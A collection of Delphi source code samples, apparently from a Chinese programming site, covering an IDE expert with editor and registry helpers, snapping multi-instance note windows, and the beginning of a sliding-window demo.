Left = 0

Top = 204

Width = 283

Height = 31

Align = alBottom

BevelOuter = bvNone

TabOrder = 0

OnResize = PanelButtonResize

object BitBtnGetText: TBitBtn

Left = 199

Top = 6

Width = 75

Height = 25

Caption = 'GetText'

TabOrder = 0

OnClick = BitBtnGetTextClick

end

object BitBtnSetText: TBitBtn

Left = 133

Top = 6

Width = 75

Height = 25

Caption = 'SetText'

TabOrder = 1

OnClick = BitBtnSetTextClick

end

object BitBtnClose: TBitBtn

Left = 69

Top = 6

Width = 75

Height = 25

Caption = 'Close'

TabOrder = 2

OnClick = BitBtnCloseClick

end

object BitBtnRTF: TBitBtn

Left = 3

Top = 6

Width = 75

Height = 25

Caption = 'RTF'

TabOrder = 3

OnClick = BitBtnRTFClick

end

end

object RichEditNote: TRichEdit

Left = 0

Top = 0

Width = 283

Height = 204

Align = alClient

Font.Charset = GB2312_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

Lines.Strings = (

'RichEditNote')

ParentFont = False

ScrollBars = ssBoth

TabOrder = 1

WordWrap = False

end

end

//FuncUnit.pas

unit FuncUnit;

interface

uses

ExptIntf, ToolIntf, SysUtils, EditIntf, VirtIntf, Controls, Classes, ExtCtrls,

Buttons, StdCtrls, DBCtrls;

function EditGetLine(mIEditorInterface: TIEditorInterface;

mBeginLine, mEndLine: Integer): string;

procedure EditSetLine(mIEditorInterface: TIEditorInterface;

mBeginLine, mEndLine: Integer; mText: string);

function EditGetText(mIEditorInterface: TIEditorInterface): string;

procedure EditSetText(mIEditorInterface: TIEditorInterface; mText: string);

procedure WinControlButton(mWinControl: TWinControl;

mButtonWidth, mButtonHeight, mSpaceWidth: Integer;

mAlignment: TAlignment = taRightJustify;

mIsCalcTop: Boolean = False);

implementation

function EditGetLine(mIEditorInterface: TIEditorInterface;

mBeginLine, mEndLine: Integer): string;

var

vCharPos: TCharPos;

vIEditReader: TIEditReader;

vIEditView: TIEditView;

vBegin, vEnd: Longint;

vBuffer: PChar;

vSize: Integer;

begin

Result := '';

if not Assigned(mIEditorInterface) then Exit;

vIEditView := mIEditorInterface.GetView(0);

vCharPos.Line := mBeginLine;

vCharPos.CharIndex := 1;

vBegin := vIEditView.CharPosToPos(vCharPos);

vCharPos.Line := mEndLine;

vCharPos.CharIndex := 1023;

vEnd := vIEditView.CharPosToPos(vCharPos);

if (vEnd < 0) or (vBegin < 0) then Exit;

vIEditReader := mIEditorInterface.CreateReader;

vSize := vEnd - vBegin;

GetMem(vBuffer, vSize);

vIEditReader.GetText(Pred(vBegin), vBuffer, vSize);

vIEditReader.Free;

vIEditView.Free;

Result := AdjustLineBreaks(Copy(vBuffer, 1, vSize));

FreeMem(vBuffer);

end; { EditGetLine }

procedure EditSetLine(mIEditorInterface: TIEditorInterface;

mBeginLine, mEndLine: Integer; mText: string);

var

vCharPos: TCharPos;

vIEditWriter: TIEditWriter;

vIEditView: TIEditView;

vBegin, vEnd: Longint;

begin

if not Assigned(mIEditorInterface) then Exit;

vIEditView := mIEditorInterface.GetView(0);

vCharPos.Line := mBeginLine;

vCharPos.CharIndex := 1;

vBegin := vIEditView.CharPosToPos(vCharPos);

vCharPos.Line := mEndLine;

vCharPos.CharIndex := 1023;

vEnd := vIEditView.CharPosToPos(vCharPos);

if (vEnd < 0) or (vBegin < 0) then Exit;

vIEditWriter := mIEditorInterface.CreateWriter;

vIEditWriter.CopyTo(Pred(vBegin));

vIEditWriter.DeleteTo(vEnd);

vIEditWriter.Insert(PChar(mText));

vIEditWriter.Free;

end; { EditSetLine }

function EditGetText(mIEditorInterface: TIEditorInterface): string;

begin

Result := EditGetLine(mIEditorInterface, 1, mIEditorInterface.LinesInBuffer);

end; { EditGetText }

procedure EditSetText(mIEditorInterface: TIEditorInterface; mText: string);

begin

EditSetLine(mIEditorInterface, 1, mIEditorInterface.LinesInBuffer, mText);

end; { EditSetText }

procedure WinControlButton(mWinControl: TWinControl;

mButtonWidth, mButtonHeight, mSpaceWidth: Integer;

mAlignment: TAlignment = taRightJustify;

mIsCalcTop: Boolean = False);

function fIsButton(mControl: TControl): Boolean;

begin

Result := (mControl is TSpeedButton) or (mControl is TButton) or

(mControl is TBitBtn) or (mControl is TDBNavigator);

end; { fIsButton }

var

I, J, K, vLeft, vTop: Integer;

begin

with mWinControl do begin

K := 0;

for I := 0 to Pred(ControlCount) do

if fIsButton(Controls[I]) and Controls[I].Visible then Inc(K);

vTop := (ClientHeight - mButtonHeight) div 2;

case mAlignment of

taRightJustify: vLeft := (ClientWidth - (mButtonWidth * K + Pred(K) * mSpaceWidth));

taCenter: vLeft := (ClientWidth - (mButtonWidth * K + Pred(K) * mSpaceWidth)) div 2;

else vLeft := mSpaceWidth;

end;

J := 0;

for I := Pred(ControlCount) downto 0 do

if fIsButton(Controls[I]) and Controls[I].Visible then begin

Controls[I].Left := vLeft;

if mIsCalcTop then Controls[I].Top := vTop;

Controls[I].Width := mButtonWidth;

vLeft := vLeft + mButtonWidth + mSpaceWidth;

Inc(J); if J > K then Break;

end;

end; { with }

end; { WinControlButton }

end.

//HighlightUnit.pas

//mailto:wjhu111@21cn.com

unit HighlightUnit;

interface

uses Messages, Windows, SysUtils, CommCtrl, Controls, Forms, Classes,

Menus, Graphics, StdCtrls, ComCtrls;

type

THighlight = class(TPersistent)

private

FItalic: Boolean;

FBold: Boolean;

FUnderline: Boolean;

FDefaultBackground: Boolean;

FDefaultForeground: Boolean;

FBackgroundColor: TColor;

FForegroundColor: TColor;

FFontSize: Integer;

FFontName: string;

public

constructor Create(AVersion: string; AName: string); overload;

constructor Create(AVersion: string; AElement: Integer); overload;

procedure AssignTo(Dest: TPersistent); override;

property BackgroundColor: TColor read FBackgroundColor write FBackgroundColor;

property DefaultBackground: Boolean read FDefaultBackground write FDefaultBackground;

property DefaultForeground: Boolean read FDefaultForeground write FDefaultForeground;

property ForegroundColor: TColor read FForegroundColor write FForegroundColor;

property Bold: Boolean read FBold write FBold;

property Italic: Boolean read FItalic write FItalic;

property Underline: Boolean read FUnderline write FUnderline;

property FontName: string read FFontName write FFontName;

property FontSize: Integer read FFontSize write FFontSize;

end;

implementation

uses

Registry;

const

cColorList: array[0..15] of TColor =

(

{0}clBlack,

{1}clMaroon,

{2}clGreen,

{3}clOlive,

{4}clNavy,

{5}clPurple,

{6}clTeal,

{7}clGray,

{8}clSilver,

{9}clRed,

{10}clLime,

{11}clYellow,

{12}clBlue,

{13}clFuchsia,

{14}clAqua,

{15}clWhite

);

const

cKeyList: array[0..14] of string =

(

{atWhiteSpace = 0;}'Whitespace',

{atComment = 1;}'Comment',

{atReservedWord = 2;}'Reserved word',

{atIdentifier = 3;}'Identifier',

{atSymbol = 4;}'Symbol',

{atString = 5;}'String',

{atNumber = 6;}'Number',

{atFloat = 7;}'Float',

{atOctal = 8;}'Octal',

{atHex = 9;}'Hex',

{atCharacter = 10;}'Character',

{atPreproc = 11;}'Preprocessor',

{atIllegal = 12;}'Illegal Char',

{atAssembler = 13;}'Assembler',

{SyntaxOff = 14;}'Tags'

);

{ THighlight }

procedure THighlight.AssignTo(Dest: TPersistent);

begin

if Dest is TFont then begin

TFont(Dest).Name := FFontName;

TFont(Dest).Size := FFontSize;

TFont(Dest).Color := FForegroundColor;

TFont(Dest).Style := [];

if FBold then

TFont(Dest).Style := TFont(Dest).Style + [fsBold]

else TFont(Dest).Style := TFont(Dest).Style - [fsBold];

if FUnderline then

TFont(Dest).Style := TFont(Dest).Style + [fsUnderline]

else TFont(Dest).Style := TFont(Dest).Style - [fsUnderline];

if FItalic then

TFont(Dest).Style := TFont(Dest).Style + [fsItalic]

else TFont(Dest).Style := TFont(Dest).Style - [fsItalic];

end else if Dest is TTextAttributes then begin

TTextAttributes(Dest).Name := FFontName;

TTextAttributes(Dest).Size := FFontSize;

TTextAttributes(Dest).Color := FForegroundColor;

TTextAttributes(Dest).Style := [];

if FBold then

TTextAttributes(Dest).Style := TTextAttributes(Dest).Style + [fsBold]

else TTextAttributes(Dest).Style := TTextAttributes(Dest).Style - [fsBold];

if FUnderline then

TTextAttributes(Dest).Style := TTextAttributes(Dest).Style + [fsUnderline]

else TTextAttributes(Dest).Style := TTextAttributes(Dest).Style - [fsUnderline];

if FItalic then

TTextAttributes(Dest).Style := TTextAttributes(Dest).Style + [fsItalic]

else TTextAttributes(Dest).Style := TTextAttributes(Dest).Style - [fsItalic];

end else inherited;

end;

constructor THighlight.Create(AVersion: string; AName: string);

begin

with TRegistry.Create do try

RootKey := HKEY_CURRENT_USER;

if OpenKey(Format('%s%s',

[AVersion, AName]), False) then begin

TryStrToBool(ReadString('Bold'), FBold);

TryStrToBool(ReadString('Italic'), FItalic);

TryStrToBool(ReadString('Underline'), FUnderline);

TryStrToBool(ReadString('Default Foreground'), FDefaultForeground);

TryStrToBool(ReadString('Default Background'), FDefaultBackground);

FForegroundColor := cColorList[ReadInteger('Foreground Color')];

FBackgroundColor := cColorList[ReadInteger('Background Color')];

CloseKey;

end;

if OpenKey(Format('%s',

[AVersion]), False) then begin

FFontName := ReadString('Editor Font');

FFontSize := ReadInteger('Font Size');

end;

finally

Free;

end;

end;

constructor THighlight.Create(AVersion: string; AElement: Integer);

begin

Create(AVersion, cKeyList[AElement]);

end;

end.

//RegExpertsApp.dpr//注册专用

//mailto:wjhu111@21cn.com

//output directory=$(Delphi)

program RegExpertsApp;

{$APPTYPE CONSOLE}

uses

Windows,

Registry,

SysUtils,

Dialogs;

const

cExpertName = 'DelphiExptLib';

var

vExpertKey: string;

begin

if Pos('DELPHI4', UpperCase(ParamStr(0))) > 0 then

vExpertKey := 'Software4.0'

else if Pos('DELPHI5', UpperCase(ParamStr(0))) > 0 then

vExpertKey := 'Software5.0'

else if Pos('DELPHI6', UpperCase(ParamStr(0))) > 0 then

vExpertKey := 'Software6.0'

else if Pos('DELPHI7', UpperCase(ParamStr(0))) > 0 then

vExpertKey := 'Software7.0'

else vExpertKey := InputBox('Key', 'Input', 'Software6.0');

with TRegistry.Create do try

RootKey := HKEY_CURRENT_USER;

if not OpenKey(vExpertKey, False) then begin

MessageDlg(Format('打开主键"%s"失败', [vExpertKey]), mtError, [mbOK], 0);

Exit;

end;

if ValueExists(cExpertName) then

if DeleteValue(cExpertName) then

MessageDlg(Format('删除键值"%s"成功', [cExpertName]),

mtInformation, [mbOK], 0)

else MessageDlg(Format('删除键值"%s"失败', [cExpertName]),

mtError, [mbOK], 0)

else begin

WriteString(cExpertName, ExtractFilePath(ParamStr(0)) + cExpertName + '.dll');

MessageDlg(Format('注册键值"%s"成功', [cExpertName]),

mtInformation, [mbOK], 0);

end;

finally

Free;

end;

end.

//请修改修改HighlightUnit.pas

//后来发现第一次安装

//在"HKEY_CURRENT_USER%s"没有变量

constructor THighlight.Create(AVersion: string; AName: string);

begin

with TRegistry.Create do try

RootKey := HKEY_CURRENT_USER;

if OpenKey(Format('%s%s',

[AVersion, AName]), False) then begin

TryStrToBool(ReadString('Bold'), FBold);

TryStrToBool(ReadString('Italic'), FItalic);

TryStrToBool(ReadString('Underline'), FUnderline);

TryStrToBool(ReadString('Default Foreground'), FDefaultForeground);

TryStrToBool(ReadString('Default Background'), FDefaultBackground);

FForegroundColor := cColorList[ReadInteger('Foreground Color')];

FBackgroundColor := cColorList[ReadInteger('Background Color')];

CloseKey;

end;

if OpenKey(Format('%s',

[AVersion]), False) then begin

//Begin~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if ValueExists('Editor Font') then

FFontName := ReadString('Editor Font')

else FFontName := 'Courier New';

if ValueExists('Font Size') then

FFontSize := ReadInteger('Font Size')

else FFontSize := 10;

//End~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

end;

finally

Free;

end;

end;


多进程窗口的“磁性”
Zswang的这个例程，是用来让一个程序的多个实例的窗口互相粘连的，犹如Winamp的窗口一样。

//pas

//wjhu111@21cn.com

//wjhu111@21cn.com

unit MagnetismUnit;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, Buttons, ExtCtrls, StdCtrls, Menus;

const

WM_MAGNETISM = WM_USER + 10;

const

MT_CLOSEU = 1;

MT_CLOSED = 2;

MT_MOVE = 5;

MT_CREATE = 6;

MT_PRIOR = 7;

MT_NEXT = 8;

type

TFormMagnetism = class(TForm)

BevelUp: TBevel;

BevelDown: TBevel;

LabelCaption: TLabel;

LabelTitle: TLabel;

PanelButton: TPanel;

SpeedButtonDown: TSpeedButton;

SpeedButtonClose: TSpeedButton;

SpeedButtonUp: TSpeedButton;

ImageNWSE: TImage;

MemoNote: TMemo;

PanelMenu: TPanel;

SpeedButtonMenu: TSpeedButton;

PopupMenuOne: TPopupMenu;

MenuItemAbout: TMenuItem;

SaveDialogOne: TSaveDialog;

OpenDialogOne: TOpenDialog;

MenuItemSave: TMenuItem;

MenuItemLoad: TMenuItem;

LabelHttp: TLabel;

procedure SpeedButtonCloseClick(Sender: TObject);

procedure SpeedButtonUpClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure LabelCaptionMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure LabelCaptionMouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure LabelCaptionMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

procedure FormResize(Sender: TObject);

procedure ImageNWSEMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure ImageNWSEMouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure ImageNWSEMouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

procedure FormShow(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

procedure MenuItemAboutClick(Sender: TObject);

procedure SpeedButtonMenuClick(Sender: TObject);

procedure MenuItemSaveClick(Sender: TObject);

procedure MenuItemLoadClick(Sender: TObject);

procedure LabelHttpClick(Sender: TObject);

private

{ Private declarations }

FMouseDown: Boolean;

FOldLeft: Integer;

FOldTop: Integer;

FPriorForm: THandle;

FNextForm: THandle;

FCoalition: Boolean;

FOldHeight: Integer;

FRect: TRect;

procedure WMMAGNETISM(var Msg: TMessage); message WM_MAGNETISM;

procedure SetCoalition(const Value: Boolean);

public

{ Public declarations }

property PriorForm: THandle read FPriorForm write FPriorForm;

property NextForm: THandle read FNextForm write FNextForm;

property Coalition: Boolean read FCoalition write SetCoalition;

end;

var

FormMagnetism: TFormMagnetism;

const

cSoftwareName = 'Zswang Note 1.1';

const

cShellOpenCount = 5;

cShellOpenList: array[0..cShellOpenCount - 1] of string =

(

'http://kingron.myetang.com',

'http://www.csdn.net',

'http://www.delphi3000.com',

'http://vcl.vclxx.org',

'mailto:wjhu111@21cn.com'

);

implementation

{$R *.dfm}

uses

Math, ShellApi;

procedure TFormMagnetism.SpeedButtonCloseClick(Sender: TObject);

begin

Close;

end;

procedure TFormMagnetism.SpeedButtonUpClick(Sender: TObject);

begin

Coalition := not Coalition;

end;

procedure TFormMagnetism.FormCreate(Sender: TObject);

begin

Application.Title := cSoftwareName;

FPriorForm := FindWindow(PChar(string(Self.ClassName)), PChar(Application.Title));

Randomize;

Color := RGB(Random(256), Random(256), Random(256));

MemoNote.Clear;

Caption := Application.Title;

LabelTitle.Caption := Application.Title;

LabelHttp.Caption := cShellOpenList[Random(cShellOpenCount)];

FNextForm := 0;

Randomize;

SpeedButtonUp.Visible := False;

FormResize(Sender);

end;

procedure TFormMagnetism.LabelCaptionMouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

FMouseDown := True;

FOldLeft := X;

FOldTop := Y;

end;

procedure TFormMagnetism.LabelCaptionMouseUp(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

FMouseDown := False;

end;

procedure TFormMagnetism.LabelCaptionMouseMove(Sender: TObject;

Shift: TShiftState; X, Y: Integer);

begin

if FMouseDown then begin

Left := Left + (X - FOldLeft);

Top := Top + (Y- FOldTop);

SendMessage(FPriorForm, WM_MAGNETISM, MT_MOVE, Handle);

SendMessage(FNextForm, WM_MAGNETISM, MT_MOVE, Handle);

end;

end;

procedure TFormMagnetism.FormResize(Sender: TObject);

begin

PanelButton.Left := TWinControl(Sender).ClientWidth - PanelButton.Width - 10;

LabelCaption.Width := TWinControl(Sender).ClientWidth;

BevelDown.Width := TWinControl(Sender).ClientWidth;

BevelUp.Width := TWinControl(Sender).ClientWidth;

FMouseDown := False;

ImageNWSE.Left := TWinControl(Sender).ClientWidth - ImageNWSE.Width - 1;

ImageNWSE.Top := TWinControl(Sender).ClientHeight - ImageNWSE.Height - 1;

MemoNote.Width := TWinControl(Sender).ClientWidth - MemoNote.Left * 2;

MemoNote.Height := TWinControl(Sender).ClientHeight - MemoNote.Top * 2;

LabelHttp.Left := (TWinControl(Sender).ClientWidth - LabelHttp.Width) div 2;

LabelHttp.Top := TWinControl(Sender).ClientHeight - LabelHttp.Height - 2;

SendMessage(FPriorForm, WM_MAGNETISM, MT_MOVE, Handle);

SendMessage(FNextForm, WM_MAGNETISM, MT_MOVE, Handle);

end;

procedure TFormMagnetism.ImageNWSEMouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

FMouseDown := True;

FOldLeft := X;

FOldTop := Y;

end;

procedure TFormMagnetism.ImageNWSEMouseUp(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

begin

FMouseDown := False;

end;

procedure TFormMagnetism.ImageNWSEMouseMove(Sender: TObject;

Shift: TShiftState; X, Y: Integer);

begin

if FMouseDown then begin

FMouseDown := False;

Width := Max(LabelTitle.Width + LabelTitle.Left + PanelButton.Width + 20,

Width + (X - FOldLeft));

Height := Max(LabelTitle.Height + 40, Height + (Y - FOldTop));

FMouseDown := True;

end;

end;

procedure TFormMagnetism.FormShow(Sender: TObject);

begin

FOldHeight := ClientHeight;

Coalition := True;

SendMessage(FPriorForm, WM_MAGNETISM, MT_CREATE, Handle);

if FPriorForm <> 0 then begin

GetWindowRect(FPriorForm, FRect);

Top := FRect.Top + (FRect.Bottom - FRect.Top);

Left := FRect.Left;

Width := FRect.Right - FRect.Left;

end else begin

Top := 10;

Left := (Screen.Width - Width) div 2;

end;

end;

procedure TFormMagnetism.WMMAGNETISM(var Msg: TMessage);

begin

case Msg.WParam of

MT_CLOSEU: PriorForm := Msg.LParam;

MT_CLOSED: NextForm := Msg.LParam;

MT_MOVE:

if Msg.LParam = Integer(FPriorForm) then begin

GetWindowRect(FPriorForm, FRect);

Top := FRect.Top + (FRect.Bottom - FRect.Top);

Left := FRect.Left;

Width := FRect.Right - FRect.Left;

SendMessage(FNextForm, WM_MAGNETISM, MT_MOVE, Handle);

end else if Msg.LParam = Integer(FNextForm) then begin

GetWindowRect(FNextForm, FRect);

Top := FRect.Top - Height;

Left := FRect.Left;

Width := FRect.Right - FRect.Left;

SendMessage(FPriorForm, WM_MAGNETISM, MT_MOVE, Handle);

end;

MT_CREATE:

if FNextForm = 0 then

FNextForm := Msg.LParam

else SendMessage(Msg.LParam, WM_MAGNETISM, MT_PRIOR, FNextForm);

MT_PRIOR: begin

PriorForm := Msg.LParam;

SendMessage(Msg.LParam, WM_MAGNETISM, MT_CREATE, Handle);

end;

MT_NEXT: NextForm := Msg.LParam;

end;

end;

procedure TFormMagnetism.FormClose(Sender: TObject;

var Action: TCloseAction);

begin

SendMessage(FPriorForm, WM_MAGNETISM, MT_CLOSED, FNextForm);

SendMessage(FNextForm, WM_MAGNETISM, MT_CLOSEU, FPriorForm);

SendMessage(FPriorForm, WM_MAGNETISM, MT_MOVE, FNextForm);

end;

procedure TFormMagnetism.SetCoalition(const Value: Boolean);

begin

FCoalition := Value;

if FCoalition then begin

ClientHeight := FOldHeight;

SpeedButtonUp.Visible := True;

SpeedButtonDown.Visible := False;

ImageNWSE.Visible := True;

LabelHttp.Visible := True;

SendMessage(FNextForm, WM_MAGNETISM, MT_MOVE, Handle);

end else begin

FOldHeight := ClientHeight;

ClientHeight := LabelCaption.Height;

SpeedButtonUp.Visible := False;

SpeedButtonDown.Visible := True;

ImageNWSE.Visible := False;

LabelHttp.Visible := False;

SendMessage(FNextForm, WM_MAGNETISM, MT_MOVE, Handle);

end;

end;

procedure TFormMagnetism.MenuItemAboutClick(Sender: TObject);

begin

MessageDlg(cSoftwareName + #13#10'E-Mail:wjhu111@21cn.com'#13#10'OICQ:45531143',

mtInformation, [mbOk], 0);

end;

procedure TFormMagnetism.SpeedButtonMenuClick(Sender: TObject);

begin

PopupMenuOne.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y);

end;

procedure TFormMagnetism.MenuItemSaveClick(Sender: TObject);

begin

if SaveDialogOne.Execute then

MemoNote.Lines.SaveToFile(SaveDialogOne.FileName);

end;

procedure TFormMagnetism.MenuItemLoadClick(Sender: TObject);

begin

if OpenDialogOne.Execute then

MemoNote.Lines.LoadFromFile(OpenDialogOne.FileName);

end;

procedure TFormMagnetism.LabelHttpClick(Sender: TObject);

begin

ShellExecute(Handle, 'OPEN', PChar(TLabel(Sender).Caption), nil, nil, SW_SHOW);

end;

end.

//dfm

object FormMagnetism: TFormMagnetism

Left = 191

Top = 108

BorderStyle = bsNone

Caption = 'FormMagnetism'

ClientHeight = 100

ClientWidth = 358

Color = clSkyBlue

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

OnClose = FormClose

OnCreate = FormCreate

OnResize = FormResize

OnShow = FormShow

PixelsPerInch = 96

TextHeight = 13

object BevelUp: TBevel

Left = 0

Top = 3

Width = 356

Height = 2

Shape = bsTopLine

end

object BevelDown: TBevel

Left = 0

Top = 7

Width = 356

Height = 4

Shape = bsTopLine

end

object LabelCaption: TLabel

Left = 0

Top = 0

Width = 348

Height = 13

Cursor = crSizeAll

AutoSize = False

Transparent = True

OnMouseDown = LabelCaptionMouseDown

OnMouseMove = LabelCaptionMouseMove

OnMouseUp = LabelCaptionMouseUp

end

object LabelTitle: TLabel

Left = 23

Top = 0

Width = 46

Height = 13

Caption = 'LabelTitle'

OnMouseDown = LabelCaptionMouseDown

OnMouseMove = LabelCaptionMouseMove

OnMouseUp = LabelCaptionMouseUp

end

object ImageNWSE: TImage

Left = 349

Top = 89

Width = 7

Height = 7

Cursor = crSizeNWSE

AutoSize = True

Picture.Data = {

07544269746D6170DE000000424DDE0000000000000036000000280000000700

0000070000000100180000000000A8000000C40E0000C40E0000000000000000

0000FFFFFF808080C8D0D4FFFFFF808080C8D0D4FFFFFF000000C8D0D4FFFFFF

808080C8D0D4FFFFFF808080C8D0D4000000C8D0D4C8D0D4FFFFFF808080C8D0

D4FFFFFF808080000000C8D0D4C8D0D4C8D0D4FFFFFF808080C8D0D4FFFFFF00

0000C8D0D4C8D0D4C8D0D4C8D0D4FFFFFF808080C8D0D4000000C8D0D4C8D0D4

C8D0D4C8D0D4C8D0D4FFFFFF808080000000C8D0D4C8D0D4C8D0D4C8D0D4C8D0

D4C8D0D4FFFFFF000000}

OnMouseDown = ImageNWSEMouseDown

OnMouseMove = ImageNWSEMouseMove

OnMouseUp = ImageNWSEMouseUp

end

object LabelHttp: TLabel

Left = 101

Top = 83

Width = 132

Height = 13

Cursor = crHandPoint

Caption = 'http://kingron.myetang.com'

DragCursor = crDefault

Font.Charset = DEFAULT_CHARSET

Font.Color = clBlue

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = [fsUnderline]

ParentFont = False

OnClick = LabelHttpClick

end

object PanelButton: TPanel

Left = 320

Top = 1

Width = 25

Height = 12

BevelOuter = bvNone

ParentColor = True

TabOrder = 0

object SpeedButtonDown: TSpeedButton

Left = 3

Top = 1

Width = 9

Height = 9

Flat = True

Glyph.Data = {

DE000000424DDE00000000000000360000002800000007000000070000000100

180000000000A8000000C40E0000C40E00000000000000000000FFFFFFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFF00FF00FFFF

FFFFFFFFFFFFFF000000FFFFFFFFFFFF00FF00FFFFFF00FF00FFFFFFFFFFFF00

0000FFFFFF00FF0000FF00FFFFFF00FF0000FF00FFFFFF00000000FF0000FF00

FFFFFFFFFFFFFFFFFF00FF0000FF00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFF

FFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00

0000}

OnClick = SpeedButtonUpClick

end

object SpeedButtonClose: TSpeedButton

Left = 13

Top = 1

Width = 9

Height = 9

Flat = True

Glyph.Data = {

DE000000424DDE00000000000000360000002800000007000000070000000100

180000000000A8000000C40E0000C40E00000000000000000000FFFFFFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000FFFFFF00FF0000FF00FFFFFF00FF

0000FF00FFFFFF000000FFFFFFFFFFFF00FF00FFFFFF00FF00FFFFFFFFFFFF00

0000FFFFFFFFFFFFFFFFFF00FF00FFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFF

00FF00FFFFFF00FF00FFFFFFFFFFFF000000FFFFFF00FF0000FF00FFFFFF00FF

0000FF00FFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00

0000}

OnClick = SpeedButtonCloseClick

end

object SpeedButtonUp: TSpeedButton

Left = 3

Top = 1

Width = 9

Height = 9

Flat = True

Glyph.Data = {

DE000000424DDE00000000000000360000002800000007000000070000000100

180000000000A8000000C40E0000C40E00000000000000000000FFFFFFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFF

FFFFFFFFFFFFFF00000000FF0000FF00FFFFFFFFFFFFFFFFFF00FF0000FF0000

0000FFFFFF00FF0000FF00FFFFFF00FF0000FF00FFFFFF000000FFFFFFFFFFFF

00FF00FFFFFF00FF00FFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFF00FF00FFFF

FFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00

0000}

OnClick = SpeedButtonUpClick

end

end

object MemoNote: TMemo

Left = 4

Top = 17

Width = 349

Height = 64

BevelInner = bvNone

BevelOuter = bvNone

BorderStyle = bsNone

Lines.Strings = (

'MemoNote')

TabOrder = 1

end

object PanelMenu: TPanel

Left = 2

Top = 1

Width = 14

Height = 12

BevelOuter = bvNone

ParentColor = True

TabOrder = 2

object SpeedButtonMenu: TSpeedButton

Left = 3

Top = 2

Width = 9

Height = 9

Flat = True

Glyph.Data = {

DE000000424DDE00000000000000360000002800000007000000070000000100

180000000000A8000000C40E0000C40E00000000000000000000FFFFFFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FF0000FF0000FF0000FF0000FF

0000FF0000FF0000000000FF00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FF0000

000000FF0000FF0000FF0000FF0000FF0000FF0000FF0000000000FF00FFFFFF

FFFFFFFFFFFFFFFFFFFFFFFF00FF0000000000FF0000FF0000FF0000FF0000FF

0000FF0000FF00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00

0000}

OnClick = SpeedButtonMenuClick

end

end

object PopupMenuOne: TPopupMenu

Left = 160

Top = 16

object MenuItemAbout: TMenuItem

Caption = 'About'

OnClick = MenuItemAboutClick

end

object MenuItemSave: TMenuItem

Caption = 'Save'

OnClick = MenuItemSaveClick

end

object MenuItemLoad: TMenuItem

Caption = 'Load'

OnClick = MenuItemLoadClick

end

end

object SaveDialogOne: TSaveDialog

Filter = 'Text files(*.txt)|*.txt|All files(*.*)|*.*'

Left = 188

Top = 16

end

object OpenDialogOne: TOpenDialog

Filter = 'Text files(*.txt)|*.txt|All files(*.*)|*.*'

Left = 216

Top = 16

end

end

///DPR文件

//dpr

program MagnetismApp;

uses

Forms,

Windows,

MagnetismUnit in 'MagnetismUnit.pas' {FormMagnetism};

{$R *.res}

begin

Application.Initialize;

Application.CreateForm(TFormMagnetism, FormMagnetism);

Application.Run;

end.

Step.1 打开记事本

Step.2 Copy//pas//另存为"MagnetismUnit.pas"

Step.3 Copy//dfm//另存为"MagnetismUnit.dfm"

Step.4 Copy//dpr//另存为"MagnetismApp.dpr"

Strp.5 Open//"MagnetismApp.dpr"


滑动窗口
////unit1.pas

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls, Buttons;

type

TForm1 = class(TForm)

ImageRight: TImage;

ImageDown: TImage;

Panel1: TPanel;

ImageCenter: TImage;

MemoRight: TMemo;

MemoDown: TMemo;

SpeedButtonRight: TSpeedButton;

SpeedButtonDown: TSpeedButton;

procedure SpeedButtonRightClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure SpeedButtonDownClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure ImageCenterMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

private

{ Private declarations }

FRGNRight: HRGN;

FRGNDown: HRGN;

FRGNCenter: HRGN;

FRGNForm: HRGN;

FShowRight: Boolean;

FShowDown: Boolean;

procedure SetShowRight(const Value: Boolean);

procedure SetShowDown(const Value: Boolean);

procedure ShowFormRgn;

public

{ Public declarations }

property ShowRight: Boolean read FShowRight write SetShowRight;

property ShowDown: Boolean read FShowDown write SetShowDown;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

